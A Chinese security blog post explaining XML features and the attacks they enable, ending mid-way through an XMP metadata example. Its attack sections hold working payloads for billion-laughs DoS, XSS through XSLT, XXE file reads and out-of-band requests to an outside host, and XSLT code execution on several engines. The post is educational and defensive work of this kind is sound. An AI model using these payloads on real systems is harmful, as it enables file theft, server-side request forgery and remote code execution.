2024年6月3日09:08:39评论20 views字数 26725阅读89分5秒阅读模式

前言

经常看到有关 XXE 的漏洞分析，大概知道原理，但是对 XML 中相关的定义却一知半解。XEE 全称为 XML External Entity 即 XML 外部实体，但除了常见的 EXP 还有哪些触发方法？XML 相关的漏洞除了 XXE 还有什么其他攻击面？为了回答这些问题，本文先从开发者的角度先学习 XML 的基本结构和一些进阶用法，然后再引申出相关的攻击场景。

XML 101

XML 是一个文档标准，用于描述结构化的文本文档，使其同时实现机器可读且人类也可读的目标。其全称为 Extensible Markup Language，即可拓展标记语言。一个简单的 XML 示例如下:

<?xml version="1.0" encoding="UTF-8"?>
<foo>hello</foo>

其中第一部分为可选的声明(Prolog 或者 Declaration)，描述文档使用的版本以及编码等信息；第二部分是一个标签(Tag)，为 XML 文档中的基本单位，可以嵌套使用但需要正确闭合。

当然 XML 标准中还定义了许多核心概念，如属性(Attributes)、命名空间(Namespaces)、字符数据(CDATA)等，本节关注其中比较重要的几个概念，完整文档可以参考:

• Extensible Markup Language (XML) 1.0 (Fifth Edition)^[1]
• XML - wikipedia^[2]

DTD

DTD 全称为 Document Type Definition，即文档类型定义，主要用于定义 XML 文档的结构，比如指定文档中允许存在哪些元素、元素的内容和属性、元素的嵌套规则等。

我们先看一个 DTD 的经典用法:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
]>
<note>
    <to>Alice</to>
    <from>Bob</from>
</note>

上面定义了一个 XML 文档，根结点为 note，包含 to、from 这两个子元素(标签)，且这两个子标签都是文本标签，即其子元素为文本数据，使用 #PCDATA 表示(Parsed Character Data)。

将文档类型定义写在 XML 文档中称为内部 DTD，除此之外，还可以写在单独的文件中进行引用，称为外部 DTD，比如写在下面的 note.dtd 中:

<!ELEMENT note (to,from)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>

原始的 XML 可以改成:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
    <to>Alice</to>
    <from>Bob</from>
</note>

我们也可以在引入外部 dtd 的同时定义额外的内部 dtd 规则:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd" [
<!ELEMENT msg (#PCDATA)>
]>
<note>
    <to>Alice</to>
    <from>Bob</from>
    <msg>hello</msg>
</note>

在 XML 标准中对于 DTD 的格式定义如下(EBNF格式):

doctypedecl ::= '<!DOCTYPE' S Name (S ExternalID)? S? ('[' intSubset ']' S?)? '>'

S ::=  (#x20 | #x9 | #xD | #xA)+
ExternalID ::=  'SYSTEM' S SystemLiteral
              | 'PUBLIC' S PubidLiteral S SystemLiteral
intSubset  ::= (markupdecl | DeclSep)*

外部 DTD 除了可以用 SYSTEM 引入系统磁盘文件，还可以使用 PUBLIC 引入网络文件，比如:

<?xml version="1.0"?>
<!DOCTYPE note PUBLIC "-//W3C//DTD XMLNote 1.0//EN" "http://evilpan.com/note.dtd">
<note>
    <to>Alice</to>
    <from>Bob</from>
</note>

其中 PUBLIC 后的字符串 "-//W3C//... 为 Public Identifier，用于描述 DTD 的格式。比如针对 HTML 的示例:

• -//W3C//DTD HTML 4.01//EN^[3]
• -//W3C//DTD HTML 4.01 Transitional//EN^[4]
• -//W3C//DTD HTML 4.01 Frameset//EN^[5]

关于 DTD 的详细介绍可以参考下面的文档:

• Document_type_definition - Wikipedia^[6]
• Prolog and Document Type Declaration^[7]

Entity

在 XML 中另外一个重要的概念就是实体(Entity)。对于编程人员来说，实体可以理解为变量。实体的引用通常以 & 开头且以 ; 结尾，除了参数实体以 % 开头。XML 文档中定义了五个标准实体，分别是:

• & 表示与字符：& (ampersand)
• ' 表示单引号：' (apostrophe)
• " 表示双引号：" (quotation mark)
• < 表示小于号：< (less than)
• > 表示大于号：> (greater than)

实体根据类型主要分为字符实体、命名实体、外部实体和参数实体。

字符实体可以用数字表示任意字符，比如字符 A 可以表示为 A(十进制) 或者 A(十六进制)；

命名实体在 XML 规范中也称为内部实体，命名实体在内部或者外部 DTD 中进行声明，在 XML 文档解析过程中，实体引用会被替换成其定义的值。XML 文档中对于实体定义的规范如下:

[70]    EntityDecl  ::=    GEDecl | PEDecl
[71]    GEDecl      ::=    '<!ENTITY' S Name S EntityDef S? '>'
[72]    PEDecl      ::=    '<!ENTITY' S '%' S Name S PEDef S? '>'
[73]    EntityDef   ::=    EntityValue | (ExternalID NDataDecl?)
[74]    PEDef       ::=    EntityValue | ExternalID

其中 71 定义内部/外部实体，72定义的是参数实体。

一个示例的(内部)实体定义如下:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ENTITY sb "evilpan">
]>
<note>
    <to>&sb;</to>
    <from>&sb;</from>
</note>

在 XML 解析时，实体会被替换成引用的值，即:

<note>
    <to>evilpan</to>
    <from>evilpan</from>
</note>

同时实体的定义中也可以嵌套引用其他实体，比如

<!ENTITY c "Hello">
<!ENTITY ch "&c; World">

注意: 循环引用会导致 XML 解析器报错。

外部实体的定义与上一节中对 DTD 的 ExternalID 的定义是一致的:

ExternalID ::=  'SYSTEM' S SystemLiteral
              | 'PUBLIC' S PubidLiteral S SystemLiteral

外部实体的一个使用示例如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY header SYSTEM "header.xml">
]>
<root>
&header;
<body>hello</body>
</root>

由于外部实体可以引用文件系统中的文件，因此如果攻击者可控可能会导致信息泄露的风险，这也是 XXE 漏洞的根因，后文会详细介绍。

上面介绍的这些实体统称为一般实体(General Entities)，与之相对应的是参数实体(Parameter Entities)。参数实体同样定义在 DTD 中，但名称前会加一个百分号 %，并且参数实体只能在 DTD 中使用 %name; 进行引用:

<!ENTITY % YN '"Yes"' >
<!ENTITY WhatHeSaid "He said %YN;" >

• Character and Entity References^[8]
• XML entity^[9]
• 在 XML 中添加实体^[10] (备份^[11])
• List of XML and HTML character entity references^[12]

Namspace

XML命名空间（XML Namespaces）是一种机制，用于避免XML文档中元素和属性名的冲突。当不同的文档或不同的组织使用相同的名称但定义不同的元素时，通过为元素和属性名提供一个命名空间，可以明确它们的身份和范围。

XML命名空间通过在元素开始标签中使用xmlns属性来声明。xmlns属性可以定义一个默认命名空间或一个带前缀的命名空间：

• 默认命名空间：xmlns="命名空间URI"，声明后，当前元素及其子元素（除非另有指定）都属于指定的命名空间。
• 前缀命名空间：xmlns:前缀="命名空间URI"，仅适用于使用该前缀的元素和属性。

命名空间的使用示例如下，定义了一个默认命名空间和一个前缀命名空间，其中 message 元素属于前缀命名空间 ex:

<?xml version="1.0"?>
<note xmlns="http://www.evilpan.com/note"
      xmlns:ex="http://www.example.com/foo">
    <to>Alice</to>
    <from>Bob</from>
    <ex:message id="1337">Foo</ex:message>
</note>

详见:

• XML namespaces^[13]

XSD

前面说过 XML 的文档格式定义和校验主要基于文档类型声明 DTD，但其存在许多局限性，比如:

• 对于一些新的 XML 特性没有明确支持，主要包括 XML namespace；
• 缺乏表现力，对于一些特殊的文档格式无法进行描述；
• 缺乏可读性，DTD 的编写大都把 Entity 当做宏来使用，导致难以阅读；
• ……

为了解决这些问题，W3C 提出了一种新的文档声明格式 XML Schema Definition，即 XSD。与基于DTD（文档类型定义）的验证相比，XML Schema 提供了更丰富的数据类型支持、更强的约束定义能力以及命名空间的支持。

还是以上文中的 note 为例，其 XML 文档内容使用 XML Schema 约束的示例如下:

<?xml version="1.0"?>
<note xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:noNamespaceSchemaLocation="note.xsd">
    <to>Alice</to>
    <from>Bob</from>
</note>

note.xsd 文件同样是一个合法的 XML 文件:

<?xml version="1.0" encoding="UTF-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <!-- 定义根元素 note -->
  <xs:element name="note">
    <xs:complexType>
      <xs:sequence>
        <!-- note 元素包含 to 和 from 子元素 -->
        <xs:element name="to" type="xs:string"/>
        <xs:element name="from" type="xs:string"/>
      </xs:sequence>
    </xs:complexType>
  </xs:element>
</xs:schema>

可以看到 XML Schema 可以对元素和属性做出更精确的定义，不过由于其语法相对繁琐也经常被开发者所诟病。关于 XSD 更多的数据结构和数据类型定义，可以参考下面的文档:

• XML Schema (W3C)^[14]
• W3Cs XML Schema Primer^[15]

XInclude

XML Inclusions (XInclude) 也是 W3C 的一个建议标准，主要用于对 XML 文档进行结构化拆分和包含，一个典型的用法如下:

<?xml version="1.0"?>
<note xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include parse="xml" href="foo.xml"/>
</note>

前文我们学习了 XSD，下面则是 XInclude 元素的 XSD 描述:

• https://www.w3.org/2001/XInclude/XInclude.xsd

主要定义了 include 标签和 fallback 子标签，其中 fallback 的作用主要提供在 include 加载失败时的默认信息。

include 标签中包含 href、parse 等属性。

<xs:complexType name="includeType" mixed="true">
    <xs:choice minOccurs="0" maxOccurs="unbounded">
        <xs:element ref="xi:fallback"/>
        <xs:any namespace="##other" processContents="lax"/>
        <xs:any namespace="##local" processContents="lax"/>
    </xs:choice>
    <xs:attribute name="href" use="optional" type="xs:anyURI"/>
    <xs:attribute name="parse" use="optional" default="xml" type="xi:parseType"/>
    <xs:attribute name="xpointer" use="optional" type="xs:string"/>
    <xs:attribute name="encoding" use="optional" type="xs:string"/>
    <xs:attribute name="accept" use="optional" type="xs:string"/>
    <xs:attribute name="accept-language" use="optional" type="xs:string"/>
    <xs:anyAttribute namespace="##other" processContents="lax"/>
</xs:complexType>

其中，

• href: 指定包含的文件 URI，可以是本地文件路径，也可以是网络地址；
• parse: 表示所包含文件的格式，为 xml 或者 text，默认为 xml；
• xpointer: 表示当 parse 为 xml 时，用于指定包含目标 XML 的范围，即选择包含部分的 XML 内容，其语法见 XPointer Framework^[16]；
• encoding: 指定包含文件的编码，仅对 parse="text" 有效；
• accept: 当 href 为网络地址时，用于指定 Accept 头的内容；
• accept-language: 当 href 为网络地址时，用于指定 Accept-Language 头的内容；

这里有人可能会有疑问，XInclude 与外部实体不是类似的吗？确实，它们的作用都是用来包含外部文档片段以减少复制粘贴。但他们有个核心的差异，Entity 的解析是在 XML 文件解析的过程中执行的，而 XInclude 则是在 XML 文档解析之后处理的，操作于信息集上，二者并没有直接联系。

也就是说，即便 XML 解析器禁用了外部实体，依然可能可以通过 XInclude 包含文档。

• XInclude - wikipedia^[17]
• Using XInclude^[18]
• XInclude Standard^[19]

XSLT

XSLT 全称为 Extensible Stylesheet Language Transformations，主要用于编写样式表将 XML 转换为其他格式的文档，如 XHTML、JSON、文本等。XSLT 也是基于 XML 的，但具备强大的灵活性和扩展性。不仅可以用于文档转换，还常被用于数据清洗、报告生成以及数据的提取和重组等任务。

XSLT 单独保存为文件时可以是 .xsl 或者 .xslt 后缀。以我们之前的 note XML 为例，以下 note.xsl 将其转换为 XHTML 文档:

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
  <html>
    <body>
      <h1>Note</h1>
      <p>To: <xsl:value-of select="note/to"/></p>
      <p>From: <xsl:value-of select="note/from"/></p>
    </body>
  </html>
</xsl:template>
</xsl:stylesheet>

简单来说，XSLT 之于 XML，类似 CSS 之于 HTML。我们可以在 XML 文档中使用 XML 声明(xml-stylesheet)引用该 XSLT，如下所示:

<?xml version="1.0" encoding="UTF-8"?>  
<?xml-stylesheet href="note.xsl" type="text/xsl"?>
<note>
    <to>Alice</to>
    <from>Bob</from>
</note>

如果你曾经在浏览器中打开过 XML 文件，那很可能遇到过这个提示，表示当前 XML 没有指定 XSLT 样式表:

This XML file does not appear to have any style information associated with it.

值得一提的是，虽然 XSLT 通常被当成样式表来使用，但其实它可以看成是一个图灵完备的编程语言，比如支持条件判断:

<xsl:if test="expression">
    <!-- 条件为真时的操作 -->
</xsl:if>

if-else:

<xsl:choose>
    <xsl:when test="expression">
        <!-- 第一个条件为真时的操作 -->
    </xsl:when>
    <xsl:otherwise>
        <!-- 上述条件都不满足时的操作 -->
    </xsl:otherwise>
</xsl:choose>

循环:

<xsl:for-each select="path/to/element">
    <!-- 对每个选中的元素执行的操作 -->
</xsl:for-each>

此外 XSLT 支持函数调用，比如:

<xsl:value-of select="current()"/>
<xsl:value-of select="concat('foo', 'bar')"/>
<xsl:value-of select="document('foo.xml')"/>

在 XSLT 2.0 标准中还支持自定义函数 xsl:function，极大丰富了 XSLT 的功能。

• XSLT - Wikipedia^[20]
• XSL Transformations (XSLT) Version 1.0^[21]
• XSL Transformations (XSLT) Version 2.0 (Second Edition)^[22]
• XSL Transformations (XSLT) Version 3.0^[23]
• XInclude with XSLT^[24]
• Java API for XML Processing (JAXP) Tutorial - XSLT^[25]

漏洞风险

上面我们介绍了 XML 中涉及到的一些基本概念，本节就来从攻击者角度看看其中能引申出什么风险。

DoS

在 Entity 一节中我们说到 XML 的 DTD 可以定义实体，而且实体的定义中可以引入其他实体，那么我们可以定义一个 XML 不断引用其他实体，可以以很小的初始数据实现指数级别的内容膨胀，一个示例如下:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

上述 XML 文件在解析 <lolz> 根节点时不断解析前述定义的实体，最终可以让根节点包含 10^9 个 "lol" 字符串，占用大约 3 GB 内存，从而实现对目标解释器拒绝服务的效果。由于最初使用的是 lol 作为 payload，因此这种攻击也称为 Billion laughs attack。要缓解这类攻击通常需要在 XML 解析器中配置禁用 DOCTYPE。

• Billion laughs attack^[26]

XSS

在 XSLT 一节中我们说到基于 XSLT 样式表可以为 XML 提供样式转换，而且这个转换是浏览器也支持的。既然可以将 XML 转换成 HTML 来渲染，那么是否支持 HTML 中的一些特性呢，比如执行 JavaScript 脚本？答案是肯定的。

我们稍微修改一下前文中的样式表，如下所示:

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
  <html>
    <head>
      <script> alert(/xss/) </script>
    </head>
    <body>
      <h1>Note</h1>
      <p>To: <xsl:value-of select="note/to"/></p>
      <p>From: <xsl:value-of select="note/from"/></p>
    </body>
  </html>
</xsl:template>
</xsl:stylesheet>

然后在浏览器中打开 note.xml，发现 JavaScript 正确执行了！

经过一番搜索后发现，除了间接引用 XSLT，在 XML 文档本身中，也可以通过命名空间指定 XHTML 来执行 JavaScript 代码，示例 xss.xml 如下:

<?xml version="1.0" encoding="UTF-8"?>  
<note>
  <to>Alice</to>
  <from>Bob</from>
  <xh:script xmlns:xh="http://www.w3.org/1999/xhtml">alert(/xss/)</xh:script>
</note>

因为如果在 XML 中使用 <script> 标签会被认为是一个普通元素而不会将其子元素当成 JavaScript 执行。

XXE

终于说到了我们开头提到的 XXE 漏洞，这是 XML 相关风险中一个相当重要的攻击场景，并且引申出了很多其他的攻击风险。

回到漏洞本身，其实 root cause 很简单，核心在于外部实体定义可以指定引用系统文件，从而导致解析 XML 的过程中引起信息泄露，一个常见的 PoC 如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "/etc/hosts">
]>
<root>
  <foo>&xxe;</foo>
</root>

Entity 实体定义除了引用系统文件，还能引用网络文件:

<!ENTITY xxe SYSTEM "http://example.com/xxe">
<!ENTITY xxe SYSTEM "ftp://example.com/xxe">

这一方面可以将 XXE 转换为 SSRF 漏洞，另一方面也可以将某些敏感信息通过网络请求回传给攻击者。

除了 SYSTEM Entity，PUBLIC Entity 同样可是实现类似的效果:

<!ENTITY xxe PUBLIC "-//W3C//EVILPAN/EN" "/etc/hosts">
<!ENTITY xxe PUBLIC "-//W3C//EVILPAN/EN" "file:///etc/hosts">
<!ENTITY xxe PUBLIC "-//W3C//EVILPAN/EN" "http://evilpan.com/xxe">

得益于我们前面系统学习了 XML 的定义，因此知道除了普通实体以外，参数实体也可以用来进行 XXE 攻击:

<!ENTITY % xxe SYSTEM "http://evilpan.com/xxe">
<!ENTITY % xxe SYSTEM "ftp://evilpan.com/xxe">

那么是不是只要禁用了 外部实体 就能解决该问题了呢？我们前面说过 XInclude 是不使用外部实体的一个建议标准，如果 XML 解析器没有禁用 XInclude 的话也可能会造成 XXE 攻击，比如 ImageMagick 的 CVE-2023-38633^[27] 漏洞。

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include parse="text" href="file:///etc/hosts"/>
</foo>

那么，我们把 XInclude 也禁用就好了吧！但如果你只禁用了外部实体的话，别忘记 DTD 本身也是可以使用 “外部” 引用的:

<!DOCTYPE root SYSTEM "http://evilpan.com/xxe.dtd">

这也是一个潜在的 SSRF 漏洞，因此我们需要将 DOCTYPE 完全禁用才能完全缓释这个问题。

例如在一个基于 Java dom4j 的项目中，我们可能需要设置禁用一大堆 Feature 才敢放心地处理一个外部传入的 XML 文件:

String EGE = "http://xml.org/sax/features/external-general-entities";
String EPE = "http://xml.org/sax/features/external-parameter-entities";
String LED = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
String DDD = "http://apache.org/xml/features/disallow-doctype-decl";
String XIN = "http://apache.org/xml/features/xinclude";
SAXReader reader = new SAXReader();  
reader.setFeature(LED, false);  
reader.setFeature(EGE, false);  
reader.setFeature(EPE, false);  
reader.setFeature(DDD, true);  
reader.setFeature(XIN, true);  
Document dom = reader.read(file);

除了上面 XML 自带的特性，还有我们前面提到的 XML Schema 可以指定外部 xsd 文件，XSLT 可以指定 xsl 样式转换文件，这都带来了潜在的 SSRF 风险。对于 XSLT 而言，我们可以基于其内置的标签或者函数去引入外部文件:

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:include href="file:///etc/passwd"/>
  <xsl:import href="file:///etc/passwd"/>
</xsl:stylesheet>

基于 document 内置方法:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet  version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

该 PoC 正是最近获得 $28000 赏金的 Safari CVE-2023-40415 和 Chrome CVE-2023-4357^[28] 所使用的。即使在浏览器这么安全的软件中也依然忽视了这些 XML 的攻击面，另外提一嘴，Chrome 中使用的还只是 XSLT 1.0 的标准，我们前面看到 XSLT 已经出到了 3.0，其中增加了许多内置函数，有心人如果捡到了新的漏洞别忘了也给我分享一下

最后回到 XXE 的漏洞利用上。如果目标 XML 解析器能够回显某个请求的 XML 结点那一切都好办，我们可以通过回显拿到泄露的文件内容。

如不不幸没有回显，还可以尝试通过 SSRF 外带出文件内容，不过由于没有 URL 编码，在遇到特殊字符如换行符的时候通常会被截断。

对于 Java 应用可以尝试用 FTP 去传输带有换行的文件，不过 Java 高版本中也不再支持了。

这时如果服务端解析 XML 的报错信息能出现在返回内容中，就可以使用基于报错的回显。不过报错回显也不是什么错都能报的，要想在比较通用的报错信息中获得回显，一般需要一个可控的 DTD 文件，这就要求需要网络连接。2018 年十佳安全技术之一 Exploiting XXE with local DTD files^[29] 就提出了使用本机上内置的一些 DTD 文件来实现报错，感兴趣的可以阅读原文细看。

• When URL parsers disagree (CVE-2023-38633)^[30]
• Getting XXE in Web Browsers using ChatGPT^[31]
• Chromium#4822244 [M114-LTS] Set current document when processing xsl document()^[32]
• REDTEAM TALES 0X1: SOAPY XXE^[33]
• Exploiting XXE with local DTD files^[34]
• 以 Apache Solr CVE-2017-12629 为例介绍三种 Error Based XXE 在实战中利用的方法 - phith0n^[35]

RCE

XXE 似乎是 XML 能见到的最严重的漏洞了，但其实在某些场景中 XML 也能直接造成 RCE 的风险，其中最主要的一个场景还是 XSLT。不同的 XSLT 编译器(解释器?)有不同的实现，因此我们在测试 XSLT 之前第一件事就是先确定其实现以及支持的版本，XSLT 1.0 标准中定义了 3 个必须实现的属性，使用 system-property 函数进行获取:

<xsl:value-of select="system-property('xsl:version')" />
<xsl:value-of select="system-property('xsl:vendor')" />
<xsl:value-of select="system-property('xsl:vendor-url')" />

其中比较重要的是 Vendor 信息，@IOActive^[36] 统计了一些常见的 XSLT 引擎信息如下表所示:

processor	xsl:version	xsl:vendor	JavaScript
server
xalan-c	1	Apache Software Foundation	no
xalan-j	1	Apache Software Foundation	no
saxon	2	Saxonica	no
xsltproc	1	libxslt	no
php	1	libxslt	no
python	1	libxslt	no
perl	1	libxslt	no
ruby	1	libxslt	no
client
safari	1	libxslt	yes
opera	1	libxslt	yes
chrome	1	libxslt	yes
firefox	1	Transformiix	yes
internet explorer	1	Microsoft	yes

From @IOActive: Abusing XSLT for Practical Attacks White Paper

如果显示的是 Microsoft XSLT 解释器，那么可以尝试通过 msxsl:script 标签来执行 C# 代码:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
  xmlns:msxsl="urn:schemas-microsoft-com:xslt" 
  xmlns:App="http://www.tempuri.org/App">
  <msxsl:script implements-prefix="App" language="C#">
  <![CDATA[
    {
      System.Diagnostics.Process.Start("cmd.exe /C calc.exe");
    }
  ]]>
  </msxsl:script>
  <xsl:template match="/">
  </xsl:template>
</xsl:stylesheet>

不过这通常需要设置 XsltSettings.EnableScript，参考 Script Blocks Using msxsl:script^[37]。

如果显示的是 SAXON xxx from Saxonica 即 Saxon 解释器，那么可以通过 xalan:script 来尝试执行 Java 代码:

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xalan="http://xml.apache.org/xslt" xmlns:Math="xalan://java.lang.Math">
  <xalan:component prefix="Math" functions="sin cos tan atan">
    <xalan:script lang="javaclass" src="xalan://java.lang.Math"/>
  </xalan:component>
  <xsl:variable name="pi" select="4.0 *"/>
  <!-- ... -->
</xsl:stylesheet>

Saxon 官网文档^[38]都是德文的，除了上述这种官网的用法外，还找到另一种执行代码的方法:

<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
  <xsl:template match="/">
    <xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'calc.exe')" xmlns:Runtime="java:java.lang.Runtime"/>
  </xsl:template>
</xsl:stylesheet>

使用 Xalan 执行代码并获取返回内容的示例:

<?xml version="1.0" encoding="ISO-8859-1" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format">    
    <xsl:template match="CClienti">
        <CClienti label="{{0}} Trasformato">
<xsl:variable name="abcd" select="Runtime:exec(Runtime:getRuntime(),'ifconfig')" xmlns:Runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"/> 
<xsl:variable name="efgh" select="jv:getInputStream($abcd)" xmlns:jv="http://xml.apache.org/xalan/java"/> 
<xsl:variable name="ijkl" select="isr:new($efgh)" xmlns:isr="http://xml.apache.org/xalan/java/java.io.InputStreamReader"/> 
<xsl:variable name="mnop" select="br:new($ijkl)" xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader"/> 
<xsl:value-of select="jv:readLine($mnop)" xmlns:jv="http://xml.apache.org/xalan/java"/> 
<xsl:value-of select="jv:readLine($mnop)" xmlns:jv="http://xml.apache.org/xalan/java"/>           
        </CClienti>
    </xsl:template>

    <xsl:template match="@*|node()">
        <xsl:copy>
            <xsl:apply-templates select="@*|node()"/>
        </xsl:copy>
    </xsl:template>
    
</xsl:stylesheet>

对于 PHP 环境，可以尝试使用 php:function 调用任意 PHP 函数:

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:value-of select="php:function('readfile','index.php')" />
</body>
</html>

因此我们在遇到 XSLT 被解析的时候需要格外关注，并针对对应 Vendor 仔细查看其文档，说不定就能捡到一个 RCE 漏洞呢！

• Abusing XSLT for Practical Attacks White Paper^[39]
• XSLT Injections for Dummies^[40]
• XLST Injection Basics^[41] (中文: 从XSLT注入到Getshell^[42])
• OverIT framework XSLT Injection and XXE – CVE-2022-22834 & CVE-2022-22835^[43]
• PayloadsAllTheThings - XSLT Injection^[44]

漏洞挖掘

通过前面的学习和总结，我们已经知道了 XML 的各种攻击面，接下来就是在所有能遇到 XML 的地方把 payload 喷射一遍了。除了传统的攻击点，还有一些不常见的攻击场景，本节就来进行介绍。

请求变体

传统上我们测试 XXE 漏洞会在遇到有 XML 请求时尝试修改请求体去验证外部实体的解析情况，但在一些场景中我们可以无中生有，将原本不是 XML 的请求修改成 XML 进行测试。

例如，对于一个常规的 POST FORM 请求:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar

我们可以将其转成 XML 格式，如下:

POST /action HTTP/1.0
Content-Type: application/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?>
<foo>bar</foo>

如果服务端返回的结果相同，那么就可能解析 XML，从而进行下一步 XXE 验证。这是因为当今许多 Web 框架都会根据 Content-Type 去自动进行参数解析和绑定，特别是 SpringBoot 这类框架还会将请求参数解析成 Java Bean 实例传给开发者。其他可尝试转换的请求有 HTTP GET 参数、JSON Body 等。

• OWASP: XML External Entity (XXE) Processing^[45]
• OWASP: XML External Entity Prevention^[46]
• PortSwigger : XML external entity (XXE) injection^[47]
• hacktricks: xee-xml-external-entity.md^[48]
• 奇安信攻防社区 - XXE漏洞^[49]

SVG

SVG 是一种图片格式，但也是合法的 XML 文件，可以尝试引用外部实体:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY poc SYSTEM "file:///etc/passwd">
]>
<svg width="128" height="128" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&poc;</text>
</svg>

在前面提到过的 ImageMagic CVE-2023-38633^[50] 中就有因为 XInclude 导致的 XXE 漏洞，因此如果文件上传时可以上传带外部实体的 SVG 文件，如果服务器使用的 SVG 解析器不当的话也会造成 XXE 风险。

Microsoft Office

微软的 Office 套件即常见的三件套:

• Word 文档，后缀为 .doc
• Excel 表格，后缀为 .xls
• PowerPoint，后缀为 .ppt

在 2006 年，微软提出了 OOXML，即 Open Office XML 格式，也就是我们常见的带 x 后缀的新文件名 .docx、.xlsx 和 .pptx。在 2022 年被 ISO 收纳成为国际标准并改名为 OXML 即 Open XML。

顾名思义，OXML 也是基于 XML 的，其本体是一个 ZIP 压缩文档，其中的文档内容以 XML 文件的形式组织。因此，Office 文档也可以当成 XXE 漏洞的载体。QQ 邮箱和网易邮箱等附件预览处都曾出现过 XXE 漏洞。

一个典型的 docx 文件解压后的目录结构如下所示：

$ tree foo.docx/
foo.docx/
├── [Content_Types].xml
├── docProps
│   ├── app.xml
│   └── core.xml
├── _rels
└── word
    ├── charts
    │   └── chart1.xml
    ├── document.xml
    ├── fontTable.xml
    ├── media
    │   └── image1.jpeg
    ├── numbering.xml
    ├── _rels
    │   └── document.xml.rels
    ├── settings.xml
    └── styles.xml

• ECMA-376 - Office Open XML file formats^[51]
• Open XML SDK by Microsoft^[52]
• oxml_xxe: A tool for embedding XXE/XML exploits into different filetypes (BHUSA 2015)^[53]

XMP

另外一种可能鲜为人知的 XML 数据结构是 XMP，全程为 Extensible Metadata Platform，即可拓展元数据平台。这是由 Adobe 创建的一种标准，用于处理和存储文档和图片数据中的自定义元数据，包括 PDF、JPEG、PNG、MP3 等多种格式。

在文件中添加 XMP 元数据可以使用 exiftool，下面是一个具体的使用示例。

首先用 ImageMagick 创建一个 1x1 的示例图片：

convert -size 1x1 xc:transparent png:poc.png

以该 PNG 为例，我们需要先用 exiftool 创建一个 poc.xmp，并将其合并到 poc.png 中：

$ exiftool -XMP-dc:Creator="evilpan" -XMP-dc:Rights="© evilpan 2024" -o poc.xmp
$ exiftool -tagsfromfile poc.xmp -xmp poc.png
Warning: [minor] Text/EXIF chunk(s) found after PNG IDAT (fixed) - poc.png
    1 image files updated

poc.xmp 的文件内容如下：

<?xpacket begin='<feff> ' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.40'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>

 <rdf:Description rdf:about=''
  xmlns:dc='http://purl.org/dc/elements/1.1/'>
  <dc:creator>
   <rdf:Seq>
    <rdf:li>evilpan</rdf:li>
